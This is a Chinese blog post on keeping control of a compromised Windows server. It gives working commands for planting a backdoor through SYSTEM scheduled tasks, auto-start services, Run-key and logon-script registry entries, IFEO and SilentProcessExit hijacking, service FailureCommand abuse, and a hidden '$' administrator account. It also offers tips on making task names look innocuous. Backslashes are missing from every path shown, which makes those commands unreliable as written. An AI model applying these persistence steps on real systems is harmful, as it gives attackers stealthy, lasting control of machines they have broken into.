windows 权限维持

admin 2022年10月13日15:48:15评论43 views字数 3811阅读12分42秒阅读模式

windows 权限维持

在获取到服务器权限后 通常会选择一些方式来进行我们的权限维持 以防止服务器重启之后或者其他情况下 shell 掉线

计划任务

利用计划任务进行权限维持

schtasks

  • schtasks /?  参数详解

  • schtasks /create /?  创建计划任务参数详解

    • /sc   计划任务类型,可选值为 MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
    • /tn   计划任务名称,后续查询、修改、删除、执行时使用
    • /tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
    • /ru   运行任务的用户账户名,不使用此参数的话使用执行 schtasks 命令的账户运行计划任务
    • /rp   运行任务的用户账户密码
    • /mo   指定任务在计划类型中的运行间隔
    • /d    指定任务在一个月或者星期的某一天运行,只适用于 MONTHLY 和 WEEKLY 类型。
    • /m    指定任务在某个月运行,只适用于 MONTHLY 类型。
    • /i    当计划任务类型为 ONIDLE 时,运行任务前计算机处于空闲状态的分钟数。
    • /st    当计划任务类型为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 时使用,指定任务的开始时间,默认为本地计算机的当前时间。
    • /ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
    • /et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
    • /du   指定任务计划的持续时间,与 /et 类似,默认情况下没有持续时间。
    • /k   在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
    • /it   只在用户登录时运行
    • /z   在任务计划完成后删除任务计划
    • /f   在创建任务时如果任务已存在不显示警告
    • /RL   为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。
    • /F   如果指定的任务已经存在,则强制创建任务并抑制警告。

1.创建一个 test 的计划任务 触发程序为 ttt.exe 每分钟运行一次 高级别运行 权限为 system

schtasks /create /tn "test" /tr C:UserstttDesktopttt.exe /rl highest /F /sc minute /mo 1 /RU system
windows 权限维持
windows 权限维持

可以看到已经上线了

windows 权限维持

这里面也可以看到  可以将任务名字改得正常一点 提高隐藏性

现在将电脑关机 已经将 cs 里面会话的删掉

windows 权限维持
windows 权限维持

不管用什么用户登录都直接上线

但是测试的时候 发现最后要设置为 system 才执行上线  其他权限的不行

schtasks /create /tn "test" /tr C:UserstttDesktopttt.exe /rl highest /F /sc minute /mo 1 /RU system

账号登录时上线

schtasks /create /tn test /tr C:UserstttDesktopttt.exe /sc onlogon   如添加计划任务时使用的账号,登录成功后即上线

删除计划任务

schtasks /delete /tn test /f

但运行中的不会中断

结束计划任务

schtasks /end /tn test

运行计划任务

立即运行 但不会影响计划任务

schtasks /run /tn test

注册自启动服务

我们可以把后门注册为自启服务  电脑启动后会自动执行自启服务

创建名为 test 的服务(注意等号后面有空格),设置自启动,启动权限为 system

sc create test binpath= C:UserstttDesktopttt.exe start= auto obj= Localsystem
#启动服务
net start test
#查询服务
sc query test
#删除服务
sc delete tes
windows 权限维持
windows 权限维持

但是需要尽快进行迁移以免 shell 掉线

自启动注册表植入后门

在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序,我们想要利用这个就需要修改注册表在键值存放我们的程序

常见的注册表键值

#Run键
HKEY_CURRENT_USERSoftwareMircosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

添加键 test,值为后门程序路径

REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v test /t REG_SZ /d "C:UserstttDesktopttt.exe"
windows 权限维持

然后重启机器

windows 权限维持
windows 权限维持

HKEY_CURRENT_USERSoftwareMircosoftWindowsCurrentVersionRun

REG ADD "HKEY_CURRENT_USERSoftwareMircosoftWindowsCurrentVersionRun" /v test /t REG_SZ /d "C:UserstttDesktopttt.exe"

映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger”项值,替换执行程序,加以利用。

劫持对应的程序后,打开该程序运行的是别的程序,比如运行 A.exe 打开的则是 B.exe

注册表路径为:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

在注册表路径下创建一个项,项名为要劫持的 exe 名称,可以为任意一个可以运行的 exe 程序,包括安装后和未安装的 exe。并在该项创建一个 Debugger 的键值(名字只能为 Debugger),键值填运行的恶意 exe

对 notepad++ 程序进行劫持

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad++.exe" /v Debugger /t REG_SZ /d "C:UserstttDesktopttt.exe"
windows 权限维持

然后点击nodepade++.exe

windows 权限维持

打不开

windows 权限维持

上线了

映像劫持新玩法

新的利用方法,实现的效果是:程序 A 静默退出结束后,会执行程序 B。

劫持 notepad.exe

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "C:UserstttDesktopttt.exe"

详细可参考 https://www.anquanke.com/post/id/151425

logon scripts 后门

Windows 登录脚本,当用户登录时触发

注册表位置:HKEY_CURRENT_USEREnvironment

REG ADD "HKEY_CURRENT_USEREnvironment" /v UserInitMprLogonScript /t REG_SZ /d "C:UserstttDesktopttt.exe"

创建隐藏账号

net user test1$ 123456 /add
net localgroup administrators test1$ /add
windows 权限维持
windows 权限维持

net user 看不见 但管理员里面可以看见 以及管理用户面板

失败命令

Windows 提供了一种功能,以便在服务无法启动或其通信过程终止时执行某些操作。具体来说,当服务被终止时,可以执行命令。控制此操作的注册表项是“ FailureCommand ”,其值将定义要执行的操作。

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32Time" /v FailureCommand /t REG_SZ /d "C:UserstttDesktopttt.exe"

这样注册之后 我们将 win32time 服务停止后 会执行 ttt.exe

详细可参考 https://hackergu.com/power-service/

原文始发于微信公众号(海狮安全团队):windows 权限维持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月13日15:48:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows 权限维持https://cn-sec.com/archives/1345731.html

发表评论

匿名网友 填写信息